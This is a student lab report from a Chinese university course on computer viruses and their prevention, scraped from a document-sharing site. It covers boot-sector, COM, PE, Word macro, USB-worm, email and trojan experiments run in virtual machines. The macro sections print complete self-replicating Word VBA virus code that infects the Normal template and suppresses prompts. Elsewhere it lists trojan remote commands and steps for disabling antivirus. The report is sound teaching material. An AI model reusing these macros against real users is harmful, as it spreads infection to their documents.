计算机病毒及防治实验报告081310128王晨雨.docx
《计算机病毒及防治实验报告081310128王晨雨.docx》由会员分享,可在线阅读,更多相关《计算机病毒及防治实验报告081310128王晨雨.docx(42页珍藏版)》请在冰点文库上搜索。
![计算机病毒及防治实验报告081310128王晨雨.docx](https://file1.bingdoc.com/fileroot1/2023-7/8/4a3f9547-dde6-4923-b011-f5dc065d8a7c/4a3f9547-dde6-4923-b011-f5dc065d8a7c1.gif)
计算机病毒及防治实验报告081310128王晨雨
南京航空航天大学
计算机病毒及防治
上机实验报告
学院:
理学院
专业:
信息与计算科学
学号:
081310128
姓名:
王晨雨
授课老师:
薛明富
二〇一六年十二月
实验一:
引导型病毒实验2
【实验目的】2
【实验平台】2
【试验内容】2
实验二:
Com病毒实验6
【实验目的】6
【实验平台】6
【试验内容】6
实验三:
PE文件格式实验9
实验四:
32位文件型病毒实验11
实验五:
简单的木马实验14
实验七:
木马病毒清除实验(选做)19
实验八:
Word宏病毒实验
(一)22
实验目的22
实验所需条件和环境22
实验内容和分析23
实验九:
Word宏病毒实验
(二)27
清除宏病毒29
实验十:
Linux脚本病毒实验(选做)32
实验十二:
基于U盘传播的蠕虫病毒实验33
实验十三:
邮件型病毒实验36
实验十四:
Web恶意代码实验39
实验一:
39
实验二:
39
实验一:
引导型病毒实验
【实验目的】
通过实验,了解引导区病毒的感染对象和感染特征,重点学习引导病毒的感染机制和恢复感染病毒文件的方法,提高汇编语言的使用能力。
实验内容
引导阶段病毒由软盘感染硬盘实验。
通过触发病毒,观察病毒发作的现象和步骤,学习病毒的感染机制:
阅读和分析病毒的代码。
DOS运行时病毒由硬盘感染软盘的实现。
通过触发病毒,观察病毒发作的现象和步骤,学习病毒的感染机制:
阅读和分析病毒的代码。
【实验平台】
VMWareWorkstation12PRO
MS-DOS7.10
【试验内容】
第一步:
环境安装
安装虚拟机VMWare,在虚拟机环境内安装MS-DOS7.10环境。
第二步:
软盘感染硬盘
1)运行虚拟机,检查目前虚拟硬盘是否含有病毒,图1表示没有病毒正常启动硬盘的状态。
2)在附书资源中复制含有病毒的虚拟软盘virus.img
3)将含有病毒的软盘插入虚拟机引导,可以看到闪动的字符*^_^*,如图2所示,按任意键进入图3。
第三步:
验证硬盘已经被感染
1)取出虚拟软盘,通过硬盘引导,再次出现了病毒的画面如图4。
2)按任意键后正常引导了DOS系统如图5。
可见,硬盘已被感染。
第四步:
硬盘感染软盘
1)下载empty.img,并且将它插入虚拟机,启动计算机,由于该盘为空,如图6.
2)取出虚拟软盘,从硬盘启动,通过命令formatA:
/q快速格式化软盘。
可能提示出错,这时只要按R键即可。
如图7.
3)成功格式化后的结果如图8。
4)不要取出虚拟软盘,重新启动虚拟机,这时是从empty.img引导,可以看到病毒的画面,如图9。
按任意键进入图10.可见,病毒已经成功由硬盘传染给了软盘。
实验截图:
1.软盘启动后:
2.硬盘启动后:
实验二:
Com病毒实验
【实验目的】
1、掌握COM病毒的传播原理。
2、掌握MASM611编译工具的使用。
【实验平台】
1、MS-DOS7.10
2、MASM611
【试验内容】
1、安装MS-DOS7.10环境。
虚拟机安装该环境亦可,步骤在此不再赘述。
2、在MS-DOSC:
\MASM目录下安装MASM611,然后将binr目录下的link.exe复制到bin目录下。
3、在com目录下复制病毒程序Virus.asm及测试程序源代码BeInfected.asm
4、编译链接BeInfected.asm,形成BeInfectedcom测试程序
5、编译链接virus.asm,生成病毒程序virus.exe。
6、在C:
\MASM\Bin目录下建立del.txt文件,并且将“”和病毒代码2“virus.asm”复制到此目录下。
7、执行“”观察结果。
8、编译并连接“virus.asm”生成“virus.exe”,执行此exe文件以感染“”文件并且自动删除del.txt,而后执行“”可以发现感染后的结果。
实验截图:
1.编译存储好文件:
2.Dos下查看文件夹内容:
3.查看TEST的内容:
4.运行病毒程序:
5.查看感染病毒后文件夹内容:
6.查看感染病毒后TEST的内容:
实验三:
PE文件格式实验
【实验目的】
了解PE文件基本结构
【实验环境】
运行环境:
Windows2000、Windows9x、WindowsNT以及WindowsXP
编译环境:
VisualStudio6.0
【实验步骤】
使用编译环境打开源代码工程,编译后可以生成winpe.exe。
预备步骤:
找任意一个Win32下的Exe文件作为查看对象。
实验内容:
运行winpe.exe,并打开任一exe文件,选择不同的菜单,可以查看到exe文件的内部结构。
实验截图:
感染前感染后
第一处:
第二处:
第三处:
第四处:
第五处:
感染前:
感染后:
实验四:
32位文件型病毒实验
【实验目的】
了解文件型病毒的基本制造过程
了解病毒的感染、破坏机制,进一步认识病毒程序
掌握文件型病毒的特征和内在机制
【实验环境】
运行环境Windows2000、Windows9x、WindowsNT和WindowsXP
【实验步骤】
目录中的virus.rar包中包括Virus.exe(编译的病毒程序)、软件使用说明书.doc(请仔细阅读)、源代码详解.doc(对代码部分加入了部分注释)以及pll.asm(程序源代码)。
Example.rar包中选取的是一个常用程序(ebookedit)安装后的安装目录下的程序,用于测试病毒程序。
预备步骤:
将example.rar解压到某个目录。
解压完毕后,应该在该目录下有Buttons目录、ebookcode.exe、ebookedit.exe、ebrand-it.exe以及keymaker.exe等程序,然后把virus.rar包解压后的Virus.exe复制到该目录中。
实验内容:
通过运行病毒程序观看各步的提示以了解病毒的内在机制。
实验截图:
1.感染前准备:
2.感染过程:
3.感染后:
4.感染文件比对
实验五:
简单的木马实验
【实验目的】
掌握木马的基本原理
【实验环境】
WindowsXP操作系统
VisualStudio6.0编程环境
【实验步骤】
(1)复制实验文件到实验的计算机上。
其中,SocketListener目录下是木马Server端源代码,SocketCommand目录下是木马Client端源代码。
(2)用VisualStudio6.0环境分别编译这两部分代码。
(3)运行SocketListener应用程序,也就是启动了木马被控端。
(4)运行SocketCommand应用程序,也就是启动了木马的控制端,可以在控制端执行命令来控制被控制端。
实验支持的命令参考表:
命令
命令含义
CMD
执行应用程序
!
SHUT
退出木马
FILEGET
获得远程文件
EDITCONF
编辑配置文件
LIST
列目录
VIEW
查看文件内容
CDOPEN
关CD
CDCLOSE
开CD
REBOOT
重启远端计算机
实验截图:
1.建立连接:
2.发送指令及成功后结果:
(1)运行程序:
(2)关闭木马:
(3)获得文件:
(4)编辑配置文件:
(5)查看文件:
(6)查看文件内容:
(7)重启计算机:
实验七:
木马病毒清除实验(选做)
【实验目的】
掌握木马病毒清除的基本原理
【实验平台】
Windows32位操作系统
VisualStudio7.0编译环境
【实验步骤】
文件Antitrojan.sln为工程文件。
使用VisualStudio编译该工程,生成Antitrojan.exe可执行程序。
执行Antitrojan.exe观察执行效果。
实验截图:
1.确认木马存在:
2.进行编译:
(1)修改试验机名字:
(2)添加查杀代号:
(3)添加查杀代码:
3.清除成功:
实验八:
Word宏病毒实验
(一)
实验目的
Word宏是指能组织到一起为独立命令使用的一系列Word指令,它能使日常工作变得容易。
本实验演示了宏的编写,通过两个简单的宏病毒示例,说明宏的原理及其安全漏洞和缺陷,理解宏病毒的作用机制,从而加强对宏病毒的认识,提高防范意识。
实验所需条件和环境
硬件设备:
局域网,终端PC机。
系统软件:
Windows系列操作系统
支撑软件:
Word2003
软件设置:
关闭杀毒软;打开Word2003,在工具宏安全性中,将安全级别设置为低,在可靠发行商选项卡中,选择信任任何所有安装的加载项和模板,选择信任visualbasic项目的访问
实验环境配置如下图所示:
宏病毒传播示意图
实验内容和分析
为了保证该实验不至于造成较大的破坏性,进行实验感染后,被感染终端不要打开过多的word文档,否则清除比较麻烦(对每个打开过的文档都要清除)。
例1自我复制,感染word公用模板和当前文档
代码如下:
'Micro-Virus
SubDocument_Open()
OnErrorResumeNext
Application.DisplayStatusBar=False
Options.SaveNormalPrompt=False
Ourcode=ThisDocument.VBProject.VBComponents
(1).CodeModule.Lines(1,100)
SetHost=NormalTemplate.VBProject.VBComponents
(1).CodeModule
IfThisDocument=NormalTemplateThen
SetHost=ActiveDocument.VBProject.VBComponents
(1).CodeModule
EndIf
WithHost
If.Lines(1.1)<>"'Micro-Virus"Then
.DeleteLines1,.CountOfLines
.InsertLines1,Ourcode
.ReplaceLine2,"SubDocument_Close()"
IfThisDocument=nomaltemplateThen
.ReplaceLine2,"SubDocument_Open()"
ActiveDocument.SaveAsActiveDocument.FullName
EndIf
EndIf
EndWith
MsgBox"MicroVirusbyContentSecurityLab"
EndSub
打开一个word文档,然后按Alt+F11调用宏编写窗口(工具宏VisualBasic宏编辑器),在左侧的project—>MicrosoftWord对象ThisDocument中输入以上代码,保存,此时当前word文档就含有宏病毒,只要下次打开这个word文档,就会执行以上代码,并将自身复制到Normal.dot(word文档的公共模板)和当前文档的ThisDocument中,同时改变函数名(模板中为Document_Close,当前文档为Document_Open),此时所有的word文档打开和关闭时,都将运行以上的病毒代码,可以加入适当的恶意代码,影响word的正常使用,本例中只是简单的跳出一个提示框。
代码解释
以上代码的基本执行流程如下:
1)进行必要的自我保护
Application.DisplayStatusBar=False
Options.SaveNormalPrompt=False
高明的病毒编写者其自我保护将做得非常好,可以使word的一些工具栏失效,例如将工具菜单中的宏选项屏蔽,也可以修改注册表达到很好的隐藏效果。
本例中只是屏蔽状态栏,以免显示宏的运行状态,并且修改公用模板时自动保存,不给用户提示。
2)得到当前文档的代码对象和公用模板的代码对象
Ourcode=ThisDocument.VBProject.VBComponents
(1).CodeModule.Lines(1,100)
SetHost=NormalTemplate.VBProject.VBComponents
(1).CodeModule
IfThisDocument=NormalTemplateThen
SetHost=ActiveDocument.VBProject.VBComponents
(1).CodeModule
EndIf
3)检查模板是否已经感染病毒,如果没有,则复制宏病毒代码到模板,并且修改函数名。
WithHost
If.Lines(1.1)<>"'Micro-Virus"Then
.DeleteLines1,.CountOfLines
.InsertLines1,Ourcode
.ReplaceLine2,"SubDocument_Close()"
IfThisDocument=nomaltemplateThen
.ReplaceLine2,"SubDocument_Open()"
ActiveDocument.SaveAsActiveDocument.FullName
EndIf
EndIf
EndWith
4)执行恶意代码
MsgBox"MicroVirusbyContentSecurityLab"
实验截图
:
1.复制代码
2.感染病毒后现象
3.感染其他文档
实验九:
Word宏病毒实验
(二)
例2具有一定破坏性的宏
我们可以对上例中的恶意代码稍加修改,使其具有一定的破坏性(这里以著名宏病毒“台湾一号”的恶意代码部分为基础,为使其在word2003版本中运行,且降低破坏性,对源代码作适当修改)。
完整代码如下:
'moonlight
Dimnm(4)
SubDocument_Open()
'DisableInput1
Setourcodemodule=ThisDocument.VBProject.VBComponents
(1).CodeModule
Sethost=NormalTemplate.VBProject.VBComponents
(1).CodeModule
IfThisDocument=NormalTemplateThen
Sethost=ActiveDocument.VBProject.VBComponents
(1).CodeModule
EndIf
Withhost
If.Lines(1,1)<>"'moonlight"Then
.DeleteLines1,.CountOfLines
.InsertLines1,ourcodemodule.Lines(1,100)
.ReplaceLine3,"SubDocument_Close()"
IfThisDocument=NormalTemplateThen
.ReplaceLine3,"SubDocument_Open()"
ActiveDocument.SaveAsActiveDocument.FullName
EndIf
EndIf
EndWith
Count=0
IfDay(Now())=1Then
try:
OnErrorGoTotry
test=-1
con=1
tog$=""
i=0
Whiletest=-1
Fori=0To4
nm(i)=Int(Rnd()*10)
con=con*nm(i)
Ifi=4Then
tog$=tog$+Str$(nm(4))+"=?
"
GoTobeg
EndIf
tog$=tog$+Str$(nm(i))+"*"
Nexti
beg:
Beep
ans$=InputBox$("今天是"+Date$+",跟你玩一个心算游戏"+Chr$(13)+"若你答错,只好接受震撼教育......"+Chr$(13)+tog$,"台湾NO.1MacroVirus")
IfRTrim$(LTrim$(ans$))=LTrim$(Str$(con))Then
Documents.Add
Selection.Paragraphs.Alignment=wdAlignParagraphCenter
Beep
WithSelection.Font
.Name="细明体"
.Size=16
.Bold=1
.Underline=1
EndWith
Selection.InsertAfterText:
="何谓宏病毒"
Selection.InsertParagraphAfter
Beep
Selection.InsertAfterText:
="答案:
"
Selection.Font.Italic=1
Selection.InsertAfterText:
="我就是......"
Selection.InsertParagraphAfter
Selection.InsertParagraphAfter
Selection.Font.Italic=0
Beep
Selection.InsertAfterText:
="如何预防宏病毒"
Selection.InsertParagraphAfter
Beep
Selection.InsertAfterText:
="答案:
"
Selection.Font.Italic=1
Selection.InsertAfterText:
="不要看我......"
GoToout
Else
Count=Count+1
Forj=1To20
Beep
Documents.Add
Nextj
Selection.Paragraphs.Alignment=wdAlignParagraphCenter
Selection.InsertAfterText:
="宏病毒"
IfCount=2ThenGoToout
GoTotry
EndIf
Wend
EndIf
out:
EndSub
该病毒的效果如下:
当打开被感染的word文档时,首先进行自我复制,感染word模板,然后检查日期,看是否是1日(即在每月的1日会发作),然后跳出一个对话框,要求用户进行一次心算游戏,这里只用四个小于10的数相乘,如果作者的计算正确,那么就会新建一个文档,跳出如下字幕:
何谓宏病毒
答案:
我就是......
如何预防宏病毒
答案:
不要看我......
如果计算错误,新建20个写有“宏病毒”字样的word文档,然后再一次进行心算游戏,总共进行3次,然后跳出程序。
关闭文档的时候也会执行同样的询问。
清除宏病毒
对每一个受感染的word文档进行如下操作。
打开受感染的word文档,进入宏编辑环境(Alt+F11),打开NormalMicrosoftWord对象ThisDocument,清除其中的病毒代码(只要删除所有内容即可)。
然后打开ProjectMicrosoftWordThisDocument,清除其中的病毒代码。
实际上,模板的病毒代码只要在处理最后一个受感染文件时清除即可,然而清除模板病毒后,如果重新打开其他已感染文件,模板将再次被感染,因此为了保证病毒被清除,可以查看每一个受感染文档的模板,如果存在病毒代码,都进行一次清除。
实验截图:
1.复制代码:
2.感染现象:
实验十:
Linux脚本病毒实验(选做)
实验十二:
基于U盘传播的蠕虫病毒实验
【实验目的】
理解U盘蠕虫病毒的传染原理。
【实验环境】
VMWareWorkstation5.5.3
WindowsXPSP2
【实验步骤】
(1)实验素材:
在附书资源目录Experiment\wormu下
(2)检查干净的电脑各分区是否存在autorun.inf和病毒文件virus.exe
(3)插入含有病毒的U盘,U盘的右键菜单出现auto后,双击U盘,观察现在各个分区的情况
(4)查看autorun.inf文件内容。
(5)观察病毒触发后的效果。
(6)插入干净的U盘,观察U盘是否被感染。
【实验注意事项】
(1)实验前,请关闭杀毒软件。
否则病毒样本会被自动杀除。
(2)请注意操作系统的版本。
WindowsXPSP2及以下版本都适用。
实验截图:
1.编译后生成:
2.运行效果:
实验十三:
邮件型病毒实验
【实验目的】
掌握邮件型病毒基本原理
【实验环境】
WindowsXP操作系统
Outlook邮件客户端
【实验步骤】
(7)在Outlook中设置用户账号
(8)在Outlook地址簿中添加联系人
(9)在实验的计算机上的C根目录下创建空文件test.vbs
(10)关闭反病毒软件的实时防护功能
(11)把实验代码录入到test.vbs文件里。
(12)运行脚本文件,程序启动Outlook(由于现在的Outlook版本较高,Outlook会提示是否允许操作,请选择允许)发送邮件
【实验注意事项】
(3)要成功实验,系统必须安装OutlookApplication应用软件
(4)为了不给你的地址簿联系人发送垃圾邮件,可以先将地址簿中的联系人导出,然后输入实验用邮件地址。
实验结束后,再重新导入原理地址簿中的联系人。
(5)程序运行后,打开实验邮箱查看实验结果。
一般而言,由于现在的邮件服务器都会对邮件进行扫描,所以传送了病毒的邮件不能传送到邮箱。
解决办法是:
将程序中的一个语句ObjMail.Attachments.Add(“C:
\test.vbs”)删除,或者将附件test.vbs文件内容改为其他内容。
实验截图:
1.将文件存放在C盘,并且修改好文件:
2.运行文件,发送邮件:
3.发送以及收到邮件:
实验十四:
Web恶意代码实验
实验一:
【实验目的】
掌握网页恶意代码基本原理。
【实验平台】
WindowsXP操作系统
IE(InternetExplorer)浏览器